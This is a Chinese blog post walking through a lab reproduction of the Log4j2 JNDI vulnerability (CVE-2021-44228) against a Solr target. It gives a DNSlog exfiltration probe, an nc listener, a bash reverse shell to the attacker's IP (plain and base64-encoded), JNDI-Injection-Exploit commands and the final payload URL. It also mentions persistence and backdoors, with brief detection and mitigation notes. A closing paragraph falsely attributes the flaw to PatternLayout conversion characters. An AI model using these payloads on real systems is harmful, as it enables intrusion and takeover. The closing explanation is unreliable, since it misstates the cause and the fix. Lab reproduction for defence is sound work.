log4j2漏洞复现(CVE-2021-44228)

1.原理

log4j2是一个记录日志的日志记录框架,他存在漏洞的原因是因为反序列化导致的远程代码执行(rce)。在日志记录的过程中使用了JNDI接口,这个接口调用了lookup方法,可以远程加载java对象。如果没有对这个方法进行限制,攻击者可以构造恶意代码,从而使得服务器被getshell

2.RMI

RMI允许开发者在java平台上实现分布式计算,即允许一个java虚拟机的对象调用另一个java虚拟机的对象。不论他们是在同一个虚拟机的不同进程,还是运行在网络上的不同虚拟机

在网络传输过程中,RMI对象是通过序列化和反序列化传输的,如果攻击者能够修改序列化的数据,他们会插入恶意代码,然后在反序列化的过程中这些代码就会被解析执行,因此RMI可以被作为进行反序列化利用链的触发点

3.实验准备

攻击机kali ip:192.168.3.186

靶机ubuntu ip:192.168.3.163

漏洞利用工具JNDI-Injection-Exploit下载

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

cd JNDI-Injection-Exploit

apt install maven

mvn clean package -DskipTests

最后下载完长这样,这个JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar就是我们要用到

4.漏洞复现

1.启动靶场

docker-compose up -d

2.查看开放端口

docker ps

在网站上输入IP+端口号,即192.168.3.163:8983

3.用dnslog外带检测漏洞

192.168.3.163:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.8wvhff.dnslog.cn}

4.攻击机打开监听端口

nc -lvvp 6666

5.构造反弹shell

bash -i >& /dev/tcp/192.168.3.186/6666 0>&1

base64加密

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTg2LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

6.应用漏洞利用工具JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令"

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTg2LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

ldap://172.22.0.1:1389/d0hok0

7.在浏览器中构造pyload

http://192.168.3.163:8983/solr/admin/cores?action=${jndi:ldap://172.22.0.1:1389/d0hok0}

8.维持权限,横向移动,创建后门等

5.流量特征

请求体和响应体里会有{jndi:ldap}或{jndi:rmi}

6.防御方式

升级版本,禁用lookup方法,禁止外联

7.如何判断log42是否攻击成功

有回显 看回显内容,看攻击结果,看状态码是不是200,看pyload中恶意指令,看反弹shell

无回显 看系统的告警日志里有没有外联,看上下文(跟当前攻击相关的,同类型,同IP)

Apache Log4j2是一个广泛使用的开源日志管理工具。然而,最近发现了一个严重的漏洞,被命名为CVE-2021-44228。这个漏洞允许攻击者通过恶意构造的日志事件来执行任意代码,导致系统被远程攻击者完全控制。 漏洞是由于Log4j2中的PatternLayout布局处理器存在一个特定的模式转换字符(%d、%i、%m、%p等)被恶意利用的问题。攻击者可以将恶意代码嵌入到日志事件中,并通过向受影响的Log4j2实例发送恶意请求触发此漏洞。一旦攻击成功,攻击者可以在受影响的应用程序上执行任意的远程代码。 这个漏洞的危害性非常高,因为日志功能几乎在每个应用程序中都得到广泛使用。攻击者可以通过恶意日志事件执行各种攻击,包括远程命令执行、数据库注入、代码执行等。受影响的应用程序可能会泄露敏感数据、遭受损坏甚至被完全控制。 解决这个漏洞的最佳方法是升级到Log4j2的最新版本。Apache已经发布了修复此漏洞的版本,更具体地说是2.15.0和2.16.0,这些版本不再处理这类模式转换字符。如果无法立即更新,可以考虑在应用程序中禁用PatternLayout布局处理器,或者使用其他日志管理框架替代Log4j2。 此外,还建议及时监测应用程序的日志活动,并对异常的日志事件进行审查。如果遇到可疑的日志事件,应立即采取行动,例如暂停相关服务、排查日志事件来源、加强网络安全防护等。 总之,Apache Log4j2CVE-2021-44228漏洞是一个严重的安全威胁,可能导致系统被完全控制。及时升级到修复版本、加强监控和审查日志活动是应对该漏洞的关键步骤。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值